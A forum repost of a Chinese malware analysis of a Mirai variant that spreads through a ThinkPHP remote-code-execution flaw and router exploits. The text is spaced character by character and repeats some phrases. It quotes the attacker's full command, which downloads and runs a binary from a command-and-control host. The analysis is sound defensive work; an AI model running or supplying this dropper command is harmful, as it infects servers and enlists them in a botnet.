搜索

[13678] 2019-01-21_利用Thinkphp漏洞传播的Mirari新变种分析

文档创建者：s7ckTeam
浏览次数：14
最后更新：2025-01-18
2019-01-21_利用Thinkphp漏洞传播的Mirari新变种分析 利 用 T h i n k p h p 漏 洞 传 播 的 M i r a r i 新 变 种 分 析 k c z w a 1   F r e e B u f   2 0 1 9 - 0 1 - 2 1 一 、 概 述 一 、 概 述 1 2 月 底 ， 通 过 安 全 设 备 检 测 到 几 个 不 同 的 月 底 ， 通 过 安 全 设 备 检 测 到 几 个 不 同 的 I P 试 图 对 几 个 公 司 内 部 的 网 站 进 行 漏 洞 攻 击 。 通 过 攻 击 日 志 发 现 攻 击 试 图 对 几 个 公 司 内 部 的 网 站 进 行 漏 洞 攻 击 。 通 过 攻 击 日 志 发 现 攻 击 I P 使 用 了 于 使 用 了 于 2 0 1 8 年 年 1 2 月 月 1 2 日 爆 出 的 日 爆 出 的 T h i n k P H P 远 程 代 码 执 行 漏 洞 （ 远 程 代 码 执 行 漏 洞 （ C N V D - 2 0 1 8 - 2 4 9 4 2 ） ， 攻 击 者 利 用 该 漏 洞 ， ） ， 攻 击 者 利 用 该 漏 洞 ， 可 在 未 授 权 的 情 况 下 远 程 执 行 代 码 。 可 在 未 授 权 的 情 况 下 远 程 执 行 代 码 。 下 图 为 攻 击 日 志 ： 攻 击 者 试 图 在 被 攻 击 服 务 器 上 执 行 如 下 命 令 ： 同 时 从 该 恶 意 文 件 存 放 网 站 上 还 发 现 了 a r m ， m i p s ， m i p s l 等 不 同 c p u 架 构 版 本 的 病 毒 ： 获 取 e g g . x 8 6 文 件 后 ， 截 止 测 试 时 ， 根 据 v i r u s t o t a l 网 站 信 息 ， 暂 无 国 内 安 全 公 司 识 别 该 文 件 为 病 毒 ， 如 下 图 所 示 ： ‘ C d   / t m p ; w g e t   h t t p : / / c n c . j u n o l a n d . x y z / b i n s / e g g . x 8 6 ; c a t   e g g . x 8 6 >   l z r d ; c h m o d   7 7 7   l z r d ; . / l z r d   ‘
此 文 件 应 该 是 M i r a r i 病 毒 的 一 种 新 变 种 ， 保 留 了 传 统 M i r a r i 特 征 ， 试 图 通 过 最 新 的 t h i n k p h p 漏 洞 来 收 割 一 波 服 务 器 肉 鸡 ， 比 起 之 前 的 m i r a r i 只 攻 击 I O T 设 备 ， 这 个 文 件 的 目 标 范 围 扩 大 了 不 少 。 二 、 病 毒 分 析 二 、 病 毒 分 析 由 于 体 力 原 因 ， 并 未 分 析 完 所 有 的 功 能 。 该 病 毒 为 了 躲 避 静 态 分 析 ， 并 不 直 接 从 库 函 数 l i b c 里 面 调 用 系 统 函 数 ， 导 入 表 为 空 ： 所 有 的 系 统 调 用 都 采 用 i n t   8 0 h   L i n u x 系 统 软 中 断 调 用 组 合 系 统 调 用 号 的 方 式 实 现 ， 如 下 图 ：
注 释 后 的 关 键 结 构 代 码 如 下 ：

包 含 了 漏 洞 扫 描 模 块 和 结 束 模 块 ， 代 码 结 构 与 m i r a i   类 似 。 l i s t e n _ 4 3 8 2 4 模 块 会 打 开 本 地 网 络 监 听 端 口 4 3 8 2 4 ： t e l n e t b r u t e f o r c e 模 块 ， 扫 描 随 机 I P 的 t e l n e t 服 务 是 否 打 开 ， t e l n e t 服 务 在 路 由 器 等 I O T 设 备 上 应 用 较 多 ， 目 的 I P 根 据 系 统 时 间 和 进 程 号 进 行 计 算 生 成 ：
抓 取 流 量 包 后 发 现 扫 描 行 为 如 下 ： 在 进 行 逆 向 调 试 时 ， 成 功 扫 描 到 某 I P 开 放 了 2 3 端 口 t e l n e t 服 务 ， 从 返 回 信 息 看 该 I P 为 一 台 华 为 家 用 路 由 器 ， 如 下 图 所 示 ： 当 扫 描 到 目 的 I P 开 放 t e l n e t 服 务 后 ， 开 始 使 用 弱 口 令 尝 试 爆 破 扫 描 出 的 t e l n e t 服 务 。 在 内 存 中 发 现 病 毒 自 带 的 一 份 弱 口 令 密 码 表 ， 如 图 下 图 所 示 ， 这 个 样 本 采 用 少 量 的 密 码 字 典 ， 因 为 大 范 围 的 扫 描 公 网 I P 字 典 少 扫 描 效 率 相 对 较 高 ， 同 时 由 于 攻 击 目 标 为 I O T 的 T e l n e t 服 务 ， 这 个 服 务 经 常 用 一 些 很 简 单 的 密 码 ：
L i n k s y s _ e x p 模 块 会 扫 描 随 机 I P 的 8 0 8 0 服 务 是 否 打 开 ， 目 的 I P 根 据 系 统 时 间 和 进 程 号 进 行 计 算 生 成 ， 如 图 所 示 ： 下 图 为 通 过 抓 取 网 络 数 据 发 现 的 对 随 机 I P 进 行 的 8 0 8 0 端 口 扫 描 行 为 ： 当 扫 描 到 I P 开 放 后 则 使 用 漏 洞 C N V D - 2 0 1 4 - 0 1 2 6 0 （ L i n k s y s 多 款 路 由 器   t m U n b l o c k . c g i   t t c p _ i p   参 数 远 程 命 令 执 行 漏 洞 ） 进 行 攻 击 ， 根 据 p a y l o a d 内 容 如 果 此 漏 洞 攻 击 成 功 则 会 在 目 标 路 由 器 上 下 载 e g g . m p s l （ 此 病 毒 的 m p s l 版 本 ） 并 执 行 ， 攻 击 p a y l o a d 如 下 ：
攻 击 流 量 数 据 如 下 ： t h i n k p h p _ e x p 模 块 ， 跟 前 面 的 进 程 一 样 进 行 任 意 I P 端 口 扫 描 ， 发 现 端 口 打 开 后 ， 尝 试 使 用 C N V D - 2 0 1 8 - 2 4 9 4 2 （ T h i n k P H P 远 程 代 码 执 行 漏 洞 ） 进 行 攻 击 ： d i r _ e x p 模 块 ， 跟 前 面 的 进 程 一 样 进 行 任 意 I P 端 口 扫 描 ,   发 现 端 口 打 开 后 ， 尝 试 使 用 C N V D - 2 0 1 3 - 0 9 1 9 9   （ D I R - 3 0 0 ,   D I R - 6 0 0 ,   D I R - 6 4 5 , D I R - 8 4 5 和 D I R - 8 6 5 U P n P   S O A P 接 口 接 口 不 正 确 过 滤 X M L 参 数 ， 允 许 远 程 攻 击 者 利 用 漏 洞 注 入 和 执 行 任 意 命 令 ） 进 行 攻 击 ： W a t c h d o g _ s c a n 模 块 ， 由 于 I O T 设 备 中 经 常 配 置 看 门 狗 模 块 以 使 机 器 在 出 现 问 题 时 重 启 ， 病 毒 进 程 在 设 备 重 启 后 将 无 法 启 动 ， 因 此 子 进 程 5 尝 试 在 文 件 系 统 中 打 开 名 为 / d e v / w a t c h d o g ， e t c / w a t c h d o g 等 的 文 件 ， 一 旦 打 开 成 功 则 篡 改 其 权 限 让
w a t c h d o g 失 效 ： * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： k c z w a 1 ， 本 文 属 于 ， 本 文 属 于 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理